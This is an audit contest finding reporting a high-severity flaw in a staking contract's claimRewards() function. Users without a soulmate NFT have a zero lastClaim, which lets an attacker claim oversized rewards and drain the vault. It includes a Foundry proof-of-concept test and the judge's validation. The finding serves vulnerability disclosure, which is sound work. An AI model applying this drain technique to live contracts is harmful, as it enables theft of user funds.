Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Staking.sol::claimRewards() timeInWeeksSinceLastClaim is calculated incorrectly, which may result in token drain

Summary

Staking.sol::claimRewards() timeInWeeksSinceLastClaim is calculated incorrectly, which may result in token drain

Vulnerability Details

The lastClaim of those without a soulmate is 0

if (lastClaim[msg.sender] == 0) {
lastClaim[msg.sender] = soulmateContract.idToCreationTimestamp(
soulmateId
);
}

Due to lastClaim being 0, it leads to a large erroneous value in reward calculation, enabling attackers to drain the entire vault

uint256 timeInWeeksSinceLastClaim = ((block.timestamp - lastClaim[msg.sender]) / 1 weeks);
uint256 amountToClaim = userStakes[msg.sender] * timeInWeeksSinceLastClaim;

Add this test to StakingTest.t.sol and run forge test --match-test test_DistortFirstCoupleMessage -vvvv the issue

function test_WithoutSoulMateReward() public {
address attacker = makeAddr("attacker");
deal(address(loveToken), attacker, 1 ether);
vm.warp(1707725828);
vm.startPrank(attacker);
loveToken.approve(address(stakingContract), 1 ether);
stakingContract.deposit(1 ether);
stakingContract.claimRewards();
uint256 afterAttackAttackerBalance = loveToken.balanceOf(attacker);
assertEq(afterAttackAttackerBalance, block.timestamp / 1 weeks * 1e18);
}

This can be repeated many times and finally, all tokens can be stolen

Impact

The attackers were able to drain the entire vault

Tools Used

manual review

Recommendations

Modify the token reward calculation mechanism to accurately track the staking duration of each token

Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-claimRewards-nft-0-lastClaim

High severity, as it allows any pending user to claim staking rewards without owning a soulmate NFT by - Obtaining love tokens on secondary markets - Transfer previously accrued love tokens via airdrops/rewards to another account and abusing the `deposit()` function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.